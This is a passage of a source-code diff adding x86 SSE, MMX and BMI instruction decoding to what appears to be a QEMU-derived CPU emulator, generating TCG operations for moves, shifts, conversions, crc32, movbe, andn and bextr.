3) + goto illegal_op; + gen_lea_modrm(env, s, modrm); + if (b1 & 1) { + gen_stq_env_A0(s, offsetof(CPUX86State, + xmm_regs[reg].XMM_Q(0))); + } else { + tcg_gen_ld32u_tl(tcg_ctx, *cpu_T[0], cpu_env, offsetof(CPUX86State, + xmm_regs[reg].XMM_L(0))); + gen_op_st_v(s, MO_32, *cpu_T[0], cpu_A0); + } + break; + case 0x6e: /* movd mm, ea */ +#ifdef TARGET_X86_64 + if (s->dflag == MO_64) { + gen_ldst_modrm(env, s, modrm, MO_64, OR_TMP0, 0); + tcg_gen_st_tl(tcg_ctx, *cpu_T[0], cpu_env, offsetof(CPUX86State,fpregs[reg].mmx)); + } else +#endif + { + gen_ldst_modrm(env, s, modrm, MO_32, OR_TMP0, 0); + tcg_gen_addi_ptr(tcg_ctx, cpu_ptr0, cpu_env, + offsetof(CPUX86State,fpregs[reg].mmx)); + tcg_gen_trunc_tl_i32(tcg_ctx, cpu_tmp2_i32, *cpu_T[0]); + gen_helper_movl_mm_T0_mmx(tcg_ctx, cpu_ptr0, cpu_tmp2_i32); + } + break; + case 0x16e: /* movd xmm, ea */ +#ifdef TARGET_X86_64 + if (s->dflag == MO_64) { + gen_ldst_modrm(env, s, modrm, MO_64, OR_TMP0, 0); + tcg_gen_addi_ptr(tcg_ctx, cpu_ptr0, cpu_env, + offsetof(CPUX86State,xmm_regs[reg])); + gen_helper_movq_mm_T0_xmm(tcg_ctx, cpu_ptr0, *cpu_T[0]); + } else +#endif + { + gen_ldst_modrm(env, s, modrm, MO_32, OR_TMP0, 0); + tcg_gen_addi_ptr(tcg_ctx, cpu_ptr0, cpu_env, + offsetof(CPUX86State,xmm_regs[reg])); + tcg_gen_trunc_tl_i32(tcg_ctx, cpu_tmp2_i32, *cpu_T[0]); + gen_helper_movl_mm_T0_xmm(tcg_ctx, cpu_ptr0, cpu_tmp2_i32); + } + break; + case 0x6f: /* movq mm, ea */ + if (mod != 3) { + gen_lea_modrm(env, s, modrm); + gen_ldq_env_A0(s, offsetof(CPUX86State, fpregs[reg].mmx)); + } else { + rm = (modrm & 7); + tcg_gen_ld_i64(tcg_ctx, cpu_tmp1_i64, cpu_env, + offsetof(CPUX86State,fpregs[rm].mmx)); + tcg_gen_st_i64(tcg_ctx, cpu_tmp1_i64, cpu_env, + offsetof(CPUX86State,fpregs[reg].mmx)); + } + break; + case 0x010: /* movups */ + case 0x110: /* movupd */ + case 0x028: /* movaps */ + case 0x128: /* movapd */ + case 0x16f: /* movdqa xmm, ea */ + case 0x26f: /* movdqu xmm, ea */ + if (mod != 3) { + gen_lea_modrm(env, s, modrm); + gen_ldo_env_A0(s, offsetof(CPUX86State, xmm_regs[reg])); + } else { + rm = (modrm & 7) | REX_B(s); + gen_op_movo(tcg_ctx, offsetof(CPUX86State,xmm_regs[reg]), + offsetof(CPUX86State,xmm_regs[rm])); + } + break; + case 0x210: /* movss xmm, ea */ + if (mod != 3) { + gen_lea_modrm(env, s, modrm); + gen_op_ld_v(s, MO_32, *cpu_T[0], cpu_A0); + tcg_gen_st32_tl(tcg_ctx, *cpu_T[0], cpu_env, offsetof(CPUX86State,xmm_regs[reg].XMM_L(0))); + tcg_gen_movi_tl(tcg_ctx, *cpu_T[0], 0); + tcg_gen_st32_tl(tcg_ctx, *cpu_T[0], cpu_env, offsetof(CPUX86State,xmm_regs[reg].XMM_L(1))); + tcg_gen_st32_tl(tcg_ctx, *cpu_T[0], cpu_env, offsetof(CPUX86State,xmm_regs[reg].XMM_L(2))); + tcg_gen_st32_tl(tcg_ctx, *cpu_T[0], cpu_env, offsetof(CPUX86State,xmm_regs[reg].XMM_L(3))); + } else { + rm = (modrm & 7) | REX_B(s); + gen_op_movl(tcg_ctx, offsetof(CPUX86State,xmm_regs[reg].XMM_L(0)), + offsetof(CPUX86State,xmm_regs[rm].XMM_L(0))); + } + break; + case 0x310: /* movsd xmm, ea */ + if (mod != 3) { + gen_lea_modrm(env, s, modrm); + gen_ldq_env_A0(s, offsetof(CPUX86State, + xmm_regs[reg].XMM_Q(0))); + tcg_gen_movi_tl(tcg_ctx, *cpu_T[0], 0); + tcg_gen_st32_tl(tcg_ctx, *cpu_T[0], cpu_env, offsetof(CPUX86State,xmm_regs[reg].XMM_L(2))); + tcg_gen_st32_tl(tcg_ctx, *cpu_T[0], cpu_env, offsetof(CPUX86State,xmm_regs[reg].XMM_L(3))); + } else { + rm = (modrm & 7) | REX_B(s); + gen_op_movq(tcg_ctx, offsetof(CPUX86State,xmm_regs[reg].XMM_Q(0)), + offsetof(CPUX86State,xmm_regs[rm].XMM_Q(0))); + } + break; + case 0x012: /* movlps */ + case 0x112: /* movlpd */ + if (mod != 3) { + gen_lea_modrm(env, s, modrm); + gen_ldq_env_A0(s, offsetof(CPUX86State, + xmm_regs[reg].XMM_Q(0))); + } else { + /* movhlps */ + rm = (modrm & 7) | REX_B(s); + gen_op_movq(tcg_ctx, offsetof(CPUX86State,xmm_regs[reg].XMM_Q(0)), + offsetof(CPUX86State,xmm_regs[rm].XMM_Q(1))); + } + break; + case 0x212: /* movsldup */ + if (mod != 3) { + gen_lea_modrm(env, s, modrm); + gen_ldo_env_A0(s, offsetof(CPUX86State, xmm_regs[reg])); + } else { + rm = (modrm & 7) | REX_B(s); + gen_op_movl(tcg_ctx, offsetof(CPUX86State,xmm_regs[reg].XMM_L(0)), + offsetof(CPUX86State,xmm_regs[rm].XMM_L(0))); + gen_op_movl(tcg_ctx, offsetof(CPUX86State,xmm_regs[reg].XMM_L(2)), + offsetof(CPUX86State,xmm_regs[rm].XMM_L(2))); + } + gen_op_movl(tcg_ctx, offsetof(CPUX86State,xmm_regs[reg].XMM_L(1)), + offsetof(CPUX86State,xmm_regs[reg].XMM_L(0))); + gen_op_movl(tcg_ctx, offsetof(CPUX86State,xmm_regs[reg].XMM_L(3)), + offsetof(CPUX86State,xmm_regs[reg].XMM_L(2))); + break; + case 0x312: /* movddup */ + if (mod != 3) { + gen_lea_modrm(env, s, modrm); + gen_ldq_env_A0(s, offsetof(CPUX86State, + xmm_regs[reg].XMM_Q(0))); + } else { + rm = (modrm & 7) | REX_B(s); + gen_op_movq(tcg_ctx, offsetof(CPUX86State,xmm_regs[reg].XMM_Q(0)), + offsetof(CPUX86State,xmm_regs[rm].XMM_Q(0))); + } + gen_op_movq(tcg_ctx, offsetof(CPUX86State,xmm_regs[reg].XMM_Q(1)), + offsetof(CPUX86State,xmm_regs[reg].XMM_Q(0))); + break; + case 0x016: /* movhps */ + case 0x116: /* movhpd */ + if (mod != 3) { + gen_lea_modrm(env, s, modrm); + gen_ldq_env_A0(s, offsetof(CPUX86State, + xmm_regs[reg].XMM_Q(1))); + } else { + /* movlhps */ + rm = (modrm & 7) | REX_B(s); + gen_op_movq(tcg_ctx, offsetof(CPUX86State,xmm_regs[reg].XMM_Q(1)), + offsetof(CPUX86State,xmm_regs[rm].XMM_Q(0))); + } + break; + case 0x216: /* movshdup */ + if (mod != 3) { + gen_lea_modrm(env, s, modrm); + gen_ldo_env_A0(s, offsetof(CPUX86State, xmm_regs[reg])); + } else { + rm = (modrm & 7) | REX_B(s); + gen_op_movl(tcg_ctx, offsetof(CPUX86State,xmm_regs[reg].XMM_L(1)), + offsetof(CPUX86State,xmm_regs[rm].XMM_L(1))); + gen_op_movl(tcg_ctx, offsetof(CPUX86State,xmm_regs[reg].XMM_L(3)), + offsetof(CPUX86State,xmm_regs[rm].XMM_L(3))); + } + gen_op_movl(tcg_ctx, offsetof(CPUX86State,xmm_regs[reg].XMM_L(0)), + offsetof(CPUX86State,xmm_regs[reg].XMM_L(1))); + gen_op_movl(tcg_ctx, offsetof(CPUX86State,xmm_regs[reg].XMM_L(2)), + offsetof(CPUX86State,xmm_regs[reg].XMM_L(3))); + break; + case 0x178: + case 0x378: + { + int bit_index, field_length; + + if (b1 == 1 && reg != 0) + goto illegal_op; + field_length = cpu_ldub_code(env, s->pc++) & 0x3F; + bit_index = cpu_ldub_code(env, s->pc++) & 0x3F; + tcg_gen_addi_ptr(tcg_ctx, cpu_ptr0, cpu_env, + offsetof(CPUX86State,xmm_regs[reg])); + if (b1 == 1) + gen_helper_extrq_i(tcg_ctx, cpu_env, cpu_ptr0, + tcg_const_i32(tcg_ctx, bit_index), + tcg_const_i32(tcg_ctx, field_length)); + else + gen_helper_insertq_i(tcg_ctx, cpu_env, cpu_ptr0, + tcg_const_i32(tcg_ctx, bit_index), + tcg_const_i32(tcg_ctx, field_length)); + } + break; + case 0x7e: /* movd ea, mm */ +#ifdef TARGET_X86_64 + if (s->dflag == MO_64) { + tcg_gen_ld_i64(tcg_ctx, *cpu_T[0], cpu_env, + offsetof(CPUX86State,fpregs[reg].mmx)); + gen_ldst_modrm(env, s, modrm, MO_64, OR_TMP0, 1); + } else +#endif + { + tcg_gen_ld32u_tl(tcg_ctx, *cpu_T[0], cpu_env, + offsetof(CPUX86State,fpregs[reg].mmx.MMX_L(0))); + gen_ldst_modrm(env, s, modrm, MO_32, OR_TMP0, 1); + } + break; + case 0x17e: /* movd ea, xmm */ +#ifdef TARGET_X86_64 + if (s->dflag == MO_64) { + tcg_gen_ld_i64(tcg_ctx, *cpu_T[0], cpu_env, + offsetof(CPUX86State,xmm_regs[reg].XMM_Q(0))); + gen_ldst_modrm(env, s, modrm, MO_64, OR_TMP0, 1); + } else +#endif + { + tcg_gen_ld32u_tl(tcg_ctx, *cpu_T[0], cpu_env, + offsetof(CPUX86State,xmm_regs[reg].XMM_L(0))); + gen_ldst_modrm(env, s, modrm, MO_32, OR_TMP0, 1); + } + break; + case 0x27e: /* movq xmm, ea */ + if (mod != 3) { + gen_lea_modrm(env, s, modrm); + gen_ldq_env_A0(s, offsetof(CPUX86State, + xmm_regs[reg].XMM_Q(0))); + } else { + rm = (modrm & 7) | REX_B(s); + gen_op_movq(tcg_ctx, offsetof(CPUX86State,xmm_regs[reg].XMM_Q(0)), + offsetof(CPUX86State,xmm_regs[rm].XMM_Q(0))); + } + gen_op_movq_env_0(tcg_ctx, offsetof(CPUX86State,xmm_regs[reg].XMM_Q(1))); + break; + case 0x7f: /* movq ea, mm */ + if (mod != 3) { + gen_lea_modrm(env, s, modrm); + gen_stq_env_A0(s, offsetof(CPUX86State, fpregs[reg].mmx)); + } else { + rm = (modrm & 7); + gen_op_movq(tcg_ctx, offsetof(CPUX86State,fpregs[rm].mmx), + offsetof(CPUX86State,fpregs[reg].mmx)); + } + break; + case 0x011: /* movups */ + case 0x111: /* movupd */ + case 0x029: /* movaps */ + case 0x129: /* movapd */ + case 0x17f: /* movdqa ea, xmm */ + case 0x27f: /* movdqu ea, xmm */ + if (mod != 3) { + gen_lea_modrm(env, s, modrm); + gen_sto_env_A0(s, offsetof(CPUX86State, xmm_regs[reg])); + } else { + rm = (modrm & 7) | REX_B(s); + gen_op_movo(tcg_ctx, offsetof(CPUX86State,xmm_regs[rm]), + offsetof(CPUX86State,xmm_regs[reg])); + } + break; + case 0x211: /* movss ea, xmm */ + if (mod != 3) { + gen_lea_modrm(env, s, modrm); + tcg_gen_ld32u_tl(tcg_ctx, *cpu_T[0], cpu_env, offsetof(CPUX86State,xmm_regs[reg].XMM_L(0))); + gen_op_st_v(s, MO_32, *cpu_T[0], cpu_A0); + } else { + rm = (modrm & 7) | REX_B(s); + gen_op_movl(tcg_ctx, offsetof(CPUX86State,xmm_regs[rm].XMM_L(0)), + offsetof(CPUX86State,xmm_regs[reg].XMM_L(0))); + } + break; + case 0x311: /* movsd ea, xmm */ + if (mod != 3) { + gen_lea_modrm(env, s, modrm); + gen_stq_env_A0(s, offsetof(CPUX86State, + xmm_regs[reg].XMM_Q(0))); + } else { + rm = (modrm & 7) | REX_B(s); + gen_op_movq(tcg_ctx, offsetof(CPUX86State,xmm_regs[rm].XMM_Q(0)), + offsetof(CPUX86State,xmm_regs[reg].XMM_Q(0))); + } + break; + case 0x013: /* movlps */ + case 0x113: /* movlpd */ + if (mod != 3) { + gen_lea_modrm(env, s, modrm); + gen_stq_env_A0(s, offsetof(CPUX86State, + xmm_regs[reg].XMM_Q(0))); + } else { + goto illegal_op; + } + break; + case 0x017: /* movhps */ + case 0x117: /* movhpd */ + if (mod != 3) { + gen_lea_modrm(env, s, modrm); + gen_stq_env_A0(s, offsetof(CPUX86State, + xmm_regs[reg].XMM_Q(1))); + } else { + goto illegal_op; + } + break; + case 0x71: /* shift mm, im */ + case 0x72: + case 0x73: + case 0x171: /* shift xmm, im */ + case 0x172: + case 0x173: + if (b1 >= 2) { + goto illegal_op; + } + val = cpu_ldub_code(env, s->pc++); + if (is_xmm) { + tcg_gen_movi_tl(tcg_ctx, *cpu_T[0], val); + tcg_gen_st32_tl(tcg_ctx, *cpu_T[0], cpu_env, offsetof(CPUX86State,xmm_t0.XMM_L(0))); + tcg_gen_movi_tl(tcg_ctx, *cpu_T[0], 0); + tcg_gen_st32_tl(tcg_ctx, *cpu_T[0], cpu_env, offsetof(CPUX86State,xmm_t0.XMM_L(1))); + op1_offset = offsetof(CPUX86State,xmm_t0); + } else { + tcg_gen_movi_tl(tcg_ctx, *cpu_T[0], val); + tcg_gen_st32_tl(tcg_ctx, *cpu_T[0], cpu_env, offsetof(CPUX86State,mmx_t0.MMX_L(0))); + tcg_gen_movi_tl(tcg_ctx, *cpu_T[0], 0); + tcg_gen_st32_tl(tcg_ctx, *cpu_T[0], cpu_env, offsetof(CPUX86State,mmx_t0.MMX_L(1))); + op1_offset = offsetof(CPUX86State,mmx_t0); + } + sse_fn_epp = sse_op_table2[((b - 1) & 3) * 8 + + (((modrm >> 3)) & 7)][b1]; + if (!sse_fn_epp) { + goto illegal_op; + } + if (is_xmm) { + rm = (modrm & 7) | REX_B(s); + op2_offset = offsetof(CPUX86State,xmm_regs[rm]); + } else { + rm = (modrm & 7); + op2_offset = offsetof(CPUX86State,fpregs[rm].mmx); + } + tcg_gen_addi_ptr(tcg_ctx, cpu_ptr0, cpu_env, op2_offset); + tcg_gen_addi_ptr(tcg_ctx, cpu_ptr1, cpu_env, op1_offset); + sse_fn_epp(tcg_ctx, cpu_env, cpu_ptr0, cpu_ptr1); + break; + case 0x050: /* movmskps */ + rm = (modrm & 7) | REX_B(s); + tcg_gen_addi_ptr(tcg_ctx, cpu_ptr0, cpu_env, + offsetof(CPUX86State,xmm_regs[rm])); + gen_helper_movmskps(tcg_ctx, cpu_tmp2_i32, cpu_env, cpu_ptr0); + tcg_gen_extu_i32_tl(tcg_ctx, *cpu_regs[reg], cpu_tmp2_i32); + break; + case 0x150: /* movmskpd */ + rm = (modrm & 7) | REX_B(s); + tcg_gen_addi_ptr(tcg_ctx, cpu_ptr0, cpu_env, + offsetof(CPUX86State,xmm_regs[rm])); + gen_helper_movmskpd(tcg_ctx, cpu_tmp2_i32, cpu_env, cpu_ptr0); + tcg_gen_extu_i32_tl(tcg_ctx, *cpu_regs[reg], cpu_tmp2_i32); + break; + case 0x02a: /* cvtpi2ps */ + case 0x12a: /* cvtpi2pd */ + gen_helper_enter_mmx(tcg_ctx, cpu_env); + if (mod != 3) { + gen_lea_modrm(env, s, modrm); + op2_offset = offsetof(CPUX86State,mmx_t0); + gen_ldq_env_A0(s, op2_offset); + } else { + rm = (modrm & 7); + op2_offset = offsetof(CPUX86State,fpregs[rm].mmx); + } + op1_offset = offsetof(CPUX86State,xmm_regs[reg]); + tcg_gen_addi_ptr(tcg_ctx, cpu_ptr0, cpu_env, op1_offset); + tcg_gen_addi_ptr(tcg_ctx, cpu_ptr1, cpu_env, op2_offset); + switch(b >> 8) { + case 0x0: + gen_helper_cvtpi2ps(tcg_ctx, cpu_env, cpu_ptr0, cpu_ptr1); + break; + default: + case 0x1: + gen_helper_cvtpi2pd(tcg_ctx, cpu_env, cpu_ptr0, cpu_ptr1); + break; + } + break; + case 0x22a: /* cvtsi2ss */ + case 0x32a: /* cvtsi2sd */ + ot = mo_64_32(s->dflag); + gen_ldst_modrm(env, s, modrm, ot, OR_TMP0, 0); + op1_offset = offsetof(CPUX86State,xmm_regs[reg]); + tcg_gen_addi_ptr(tcg_ctx, cpu_ptr0, cpu_env, op1_offset); + if (ot == MO_32) { + SSEFunc_0_epi sse_fn_epi = sse_op_table3ai[(b >> 8) & 1]; + tcg_gen_trunc_tl_i32(tcg_ctx, cpu_tmp2_i32, *cpu_T[0]); + sse_fn_epi(tcg_ctx, cpu_env, cpu_ptr0, cpu_tmp2_i32); + } else { +#ifdef TARGET_X86_64 + SSEFunc_0_epl sse_fn_epl = sse_op_table3aq[(b >> 8) & 1]; + sse_fn_epl(tcg_ctx, cpu_env, cpu_ptr0, *cpu_T[0]); +#else + goto illegal_op; +#endif + } + break; + case 0x02c: /* cvttps2pi */ + case 0x12c: /* cvttpd2pi */ + case 0x02d: /* cvtps2pi */ + case 0x12d: /* cvtpd2pi */ + gen_helper_enter_mmx(tcg_ctx, cpu_env); + if (mod != 3) { + gen_lea_modrm(env, s, modrm); + op2_offset = offsetof(CPUX86State,xmm_t0); + gen_ldo_env_A0(s, op2_offset); + } else { + rm = (modrm & 7) | REX_B(s); + op2_offset = offsetof(CPUX86State,xmm_regs[rm]); + } + op1_offset = offsetof(CPUX86State,fpregs[reg & 7].mmx); + tcg_gen_addi_ptr(tcg_ctx, cpu_ptr0, cpu_env, op1_offset); + tcg_gen_addi_ptr(tcg_ctx, cpu_ptr1, cpu_env, op2_offset); + switch(b) { + case 0x02c: + gen_helper_cvttps2pi(tcg_ctx, cpu_env, cpu_ptr0, cpu_ptr1); + break; + case 0x12c: + gen_helper_cvttpd2pi(tcg_ctx, cpu_env, cpu_ptr0, cpu_ptr1); + break; + case 0x02d: + gen_helper_cvtps2pi(tcg_ctx, cpu_env, cpu_ptr0, cpu_ptr1); + break; + case 0x12d: + gen_helper_cvtpd2pi(tcg_ctx, cpu_env, cpu_ptr0, cpu_ptr1); + break; + } + break; + case 0x22c: /* cvttss2si */ + case 0x32c: /* cvttsd2si */ + case 0x22d: /* cvtss2si */ + case 0x32d: /* cvtsd2si */ + ot = mo_64_32(s->dflag); + if (mod != 3) { + gen_lea_modrm(env, s, modrm); + if ((b >> 8) & 1) { + gen_ldq_env_A0(s, offsetof(CPUX86State, xmm_t0.XMM_Q(0))); + } else { + gen_op_ld_v(s, MO_32, *cpu_T[0], cpu_A0); + tcg_gen_st32_tl(tcg_ctx, *cpu_T[0], cpu_env, offsetof(CPUX86State,xmm_t0.XMM_L(0))); + } + op2_offset = offsetof(CPUX86State,xmm_t0); + } else { + rm = (modrm & 7) | REX_B(s); + op2_offset = offsetof(CPUX86State,xmm_regs[rm]); + } + tcg_gen_addi_ptr(tcg_ctx, cpu_ptr0, cpu_env, op2_offset); + if (ot == MO_32) { + SSEFunc_i_ep sse_fn_i_ep = + sse_op_table3bi[((b >> 7) & 2) | (b & 1)]; + sse_fn_i_ep(tcg_ctx, cpu_tmp2_i32, cpu_env, cpu_ptr0); + tcg_gen_extu_i32_tl(tcg_ctx, *cpu_T[0], cpu_tmp2_i32); + } else { +#ifdef TARGET_X86_64 + SSEFunc_l_ep sse_fn_l_ep = + sse_op_table3bq[((b >> 7) & 2) | (b & 1)]; + sse_fn_l_ep(tcg_ctx, *cpu_T[0], cpu_env, cpu_ptr0); +#else + goto illegal_op; +#endif + } + gen_op_mov_reg_v(tcg_ctx, ot, reg, *cpu_T[0]); + break; + case 0xc4: /* pinsrw */ + case 0x1c4: + s->rip_offset = 1; + gen_ldst_modrm(env, s, modrm, MO_16, OR_TMP0, 0); + val = cpu_ldub_code(env, s->pc++); + if (b1) { + val &= 7; + tcg_gen_st16_tl(tcg_ctx, *cpu_T[0], cpu_env, + offsetof(CPUX86State,xmm_regs[reg].XMM_W(val))); + } else { + val &= 3; + tcg_gen_st16_tl(tcg_ctx, *cpu_T[0], cpu_env, + offsetof(CPUX86State,fpregs[reg].mmx.MMX_W(val))); + } + break; + case 0xc5: /* pextrw */ + case 0x1c5: + if (mod != 3) + goto illegal_op; + ot = mo_64_32(s->dflag); + val = cpu_ldub_code(env, s->pc++); + if (b1) { + val &= 7; + rm = (modrm & 7) | REX_B(s); + tcg_gen_ld16u_tl(tcg_ctx, *cpu_T[0], cpu_env, + offsetof(CPUX86State,xmm_regs[rm].XMM_W(val))); + } else { + val &= 3; + rm = (modrm & 7); + tcg_gen_ld16u_tl(tcg_ctx, *cpu_T[0], cpu_env, + offsetof(CPUX86State,fpregs[rm].mmx.MMX_W(val))); + } + reg = ((modrm >> 3) & 7) | rex_r; + gen_op_mov_reg_v(tcg_ctx, ot, reg, *cpu_T[0]); + break; + case 0x1d6: /* movq ea, xmm */ + if (mod != 3) { + gen_lea_modrm(env, s, modrm); + gen_stq_env_A0(s, offsetof(CPUX86State, + xmm_regs[reg].XMM_Q(0))); + } else { + rm = (modrm & 7) | REX_B(s); + gen_op_movq(tcg_ctx, offsetof(CPUX86State,xmm_regs[rm].XMM_Q(0)), + offsetof(CPUX86State,xmm_regs[reg].XMM_Q(0))); + gen_op_movq_env_0(tcg_ctx, offsetof(CPUX86State,xmm_regs[rm].XMM_Q(1))); + } + break; + case 0x2d6: /* movq2dq */ + gen_helper_enter_mmx(tcg_ctx, cpu_env); + rm = (modrm & 7); + gen_op_movq(tcg_ctx, offsetof(CPUX86State,xmm_regs[reg].XMM_Q(0)), + offsetof(CPUX86State,fpregs[rm].mmx)); + gen_op_movq_env_0(tcg_ctx, offsetof(CPUX86State,xmm_regs[reg].XMM_Q(1))); + break; + case 0x3d6: /* movdq2q */ + gen_helper_enter_mmx(tcg_ctx, cpu_env); + rm = (modrm & 7) | REX_B(s); + gen_op_movq(tcg_ctx, offsetof(CPUX86State,fpregs[reg & 7].mmx), + offsetof(CPUX86State,xmm_regs[rm].XMM_Q(0))); + break; + case 0xd7: /* pmovmskb */ + case 0x1d7: + if (mod != 3) + goto illegal_op; + if (b1) { + rm = (modrm & 7) | REX_B(s); + tcg_gen_addi_ptr(tcg_ctx, cpu_ptr0, cpu_env, offsetof(CPUX86State,xmm_regs[rm])); + gen_helper_pmovmskb_xmm(tcg_ctx, cpu_tmp2_i32, cpu_env, cpu_ptr0); + } else { + rm = (modrm & 7); + tcg_gen_addi_ptr(tcg_ctx, cpu_ptr0, cpu_env, offsetof(CPUX86State,fpregs[rm].mmx)); + gen_helper_pmovmskb_mmx(tcg_ctx, cpu_tmp2_i32, cpu_env, cpu_ptr0); + } + reg = ((modrm >> 3) & 7) | rex_r; + tcg_gen_extu_i32_tl(tcg_ctx, *cpu_regs[reg], cpu_tmp2_i32); + break; + + case 0x138: + case 0x038: + b = modrm; + if ((b & 0xf0) == 0xf0) { + goto do_0f_38_fx; + } + modrm = cpu_ldub_code(env, s->pc++); + rm = modrm & 7; + reg = ((modrm >> 3) & 7) | rex_r; + mod = (modrm >> 6) & 3; + if (b1 >= 2) { + goto illegal_op; + } + + sse_fn_epp = sse_op_table6[b].op[b1]; + if (!sse_fn_epp) { + goto illegal_op; + } + if (!(s->cpuid_ext_features & sse_op_table6[b].ext_mask)) + goto illegal_op; + + if (b1) { + op1_offset = offsetof(CPUX86State,xmm_regs[reg]); + if (mod == 3) { + op2_offset = offsetof(CPUX86State,xmm_regs[rm | REX_B(s)]); + } else { + op2_offset = offsetof(CPUX86State,xmm_t0); + gen_lea_modrm(env, s, modrm); + switch (b) { + case 0x20: case 0x30: /* pmovsxbw, pmovzxbw */ + case 0x23: case 0x33: /* pmovsxwd, pmovzxwd */ + case 0x25: case 0x35: /* pmovsxdq, pmovzxdq */ + gen_ldq_env_A0(s, op2_offset + + offsetof(XMMReg, XMM_Q(0))); + break; + case 0x21: case 0x31: /* pmovsxbd, pmovzxbd */ + case 0x24: case 0x34: /* pmovsxwq, pmovzxwq */ + tcg_gen_qemu_ld_i32(s->uc, cpu_tmp2_i32, cpu_A0, + s->mem_index, MO_LEUL); + tcg_gen_st_i32(tcg_ctx, cpu_tmp2_i32, cpu_env, op2_offset + + offsetof(XMMReg, XMM_L(0))); + break; + case 0x22: case 0x32: /* pmovsxbq, pmovzxbq */ + tcg_gen_qemu_ld_tl(s->uc, cpu_tmp0, cpu_A0, + s->mem_index, MO_LEUW); + tcg_gen_st16_tl(tcg_ctx, cpu_tmp0, cpu_env, op2_offset + + offsetof(XMMReg, XMM_W(0))); + break; + case 0x2a: /* movntqda */ + gen_ldo_env_A0(s, op1_offset); + return; + default: + gen_ldo_env_A0(s, op2_offset); + } + } + } else { + op1_offset = offsetof(CPUX86State,fpregs[reg].mmx); + if (mod == 3) { + op2_offset = offsetof(CPUX86State,fpregs[rm].mmx); + } else { + op2_offset = offsetof(CPUX86State,mmx_t0); + gen_lea_modrm(env, s, modrm); + gen_ldq_env_A0(s, op2_offset); + } + } + if (sse_fn_epp == SSE_SPECIAL) { + goto illegal_op; + } + + tcg_gen_addi_ptr(tcg_ctx, cpu_ptr0, cpu_env, op1_offset); + tcg_gen_addi_ptr(tcg_ctx, cpu_ptr1, cpu_env, op2_offset); + sse_fn_epp(tcg_ctx, cpu_env, cpu_ptr0, cpu_ptr1); + + if (b == 0x17) { + set_cc_op(s, CC_OP_EFLAGS); + } + break; + + case 0x238: + case 0x338: + do_0f_38_fx: + /* Various integer extensions at 0f 38 f[0-f]. */ + b = modrm | (b1 << 8); + modrm = cpu_ldub_code(env, s->pc++); + reg = ((modrm >> 3) & 7) | rex_r; + + switch (b) { + case 0x3f0: /* crc32 Gd,Eb */ + case 0x3f1: /* crc32 Gd,Ey */ + do_crc32: + if (!(s->cpuid_ext_features & CPUID_EXT_SSE42)) { + goto illegal_op; + } + if ((b & 0xff) == 0xf0) { + ot = MO_8; + } else if (s->dflag != MO_64) { + ot = (s->prefix & PREFIX_DATA ? MO_16 : MO_32); + } else { + ot = MO_64; + } + + tcg_gen_trunc_tl_i32(tcg_ctx, cpu_tmp2_i32, *cpu_regs[reg]); + gen_ldst_modrm(env, s, modrm, ot, OR_TMP0, 0); + gen_helper_crc32(tcg_ctx, *cpu_T[0], cpu_tmp2_i32, + *cpu_T[0], tcg_const_i32(tcg_ctx, 8 << ot)); + + ot = mo_64_32(s->dflag); + gen_op_mov_reg_v(tcg_ctx, ot, reg, *cpu_T[0]); + break; + + case 0x1f0: /* crc32 or movbe */ + case 0x1f1: + /* For these insns, the f3 prefix is supposed to have priority + over the 66 prefix, but that's not what we implement above + setting b1. */ + if (s->prefix & PREFIX_REPNZ) { + goto do_crc32; + } + /* FALLTHRU */ + case 0x0f0: /* movbe Gy,My */ + case 0x0f1: /* movbe My,Gy */ + if (!(s->cpuid_ext_features & CPUID_EXT_MOVBE)) { + goto illegal_op; + } + if (s->dflag != MO_64) { + ot = (s->prefix & PREFIX_DATA ? MO_16 : MO_32); + } else { + ot = MO_64; + } + + gen_lea_modrm(env, s, modrm); + if ((b & 1) == 0) { + tcg_gen_qemu_ld_tl(s->uc, *cpu_T[0], cpu_A0, + s->mem_index, ot | MO_BE); + gen_op_mov_reg_v(tcg_ctx, ot, reg, *cpu_T[0]); + } else { + tcg_gen_qemu_st_tl(s->uc, *cpu_regs[reg], cpu_A0, + s->mem_index, ot | MO_BE); + } + break; + + case 0x0f2: /* andn Gy, By, Ey */ + if (!(s->cpuid_7_0_ebx_features & CPUID_7_0_EBX_BMI1) + || !(s->prefix & PREFIX_VEX) + || s->vex_l != 0) { + goto illegal_op; + } + ot = mo_64_32(s->dflag); + gen_ldst_modrm(env, s, modrm, ot, OR_TMP0, 0); + tcg_gen_andc_tl(tcg_ctx, *cpu_T[0], *cpu_regs[s->vex_v], *cpu_T[0]); + gen_op_mov_reg_v(tcg_ctx, ot, reg, *cpu_T[0]); + gen_op_update1_cc(tcg_ctx); + set_cc_op(s, CC_OP_LOGICB + ot); + break; + + case 0x0f7: /* bextr Gy, Ey, By */ + if (!(s->cpuid_7_0_ebx_features & CPUID_7_0_EBX_BMI1) + || !(s->prefix & PREFIX_VEX) + || s->vex_l != 0) { + goto illegal_op; + } + ot = mo_64_32(s->dflag); + { + TCGv bound, zero; + + gen_ldst_modrm(env, s, modrm, ot, OR_TMP0, 0); + /* Extract START, and shift the operand. + Shifts larger than operand size get zeros. */ + tcg_gen_ext8u_tl(tcg_ctx, cpu_A0, *cpu_regs[s->vex_v]); + tcg_gen_shr_tl(tcg_ctx, *cpu_T[0], *cpu_T[0], cpu_A0); + + bound = tcg_const_tl(tcg_ctx, ot == MO_64 ? 63 : 31); + zero = tcg_const_tl(tcg_ctx, 0); + tcg_gen_movcond_tl(tcg_ctx, TCG_COND_LEU, *cpu_T[0], cpu_A0, bound, + *cpu_T[0], zero); + tcg_temp_free(tcg_ctx, zero); + + /* Extract the LEN into a mask. Lengths larger than + operand size get all ones. */ + tcg_gen_shri_tl(tcg_ctx, cpu_A0, *cpu_regs[s->vex_v], 8); + tcg_gen_ext8u_tl(tcg_ctx, cpu_A0, cpu_A0); + tcg_gen_movcond_tl(tcg_ctx, TCG_COND_LEU, cpu_A0, cpu_A0, bound, + cpu_A0, bound); + tcg_temp_free(tcg_ctx, bound); + tcg_gen_movi_tl(tcg_ctx, *cpu_T[1], 1); + tcg_gen_shl_tl(tcg_ctx, *cpu_T[1], *cpu_T[1], cpu_A0); + tcg_gen_subi_tl(tcg_ctx, *cpu_T[1], *cpu_T[1], 1); + tcg_gen_and_tl(tcg_ctx, *cpu_T[0], *cpu_T[0], *cpu_T[1]); + + gen_op_mov_reg_v(tcg_ctx, ot, reg, *cpu_T[0]); + gen_op_update1_cc(tcg_ctx); + set_cc_op(s, CC_OP_LOGICB + ot); + } + break; + + case 0x0f5: /* bzhi Gy, Ey, By */ + if (!(s->cpuid_7_0_ebx_features & CPUID_7_0_EBX_BMI2) + || !(s->prefix & PREFIX_VEX) + || s->vex_l != 0) 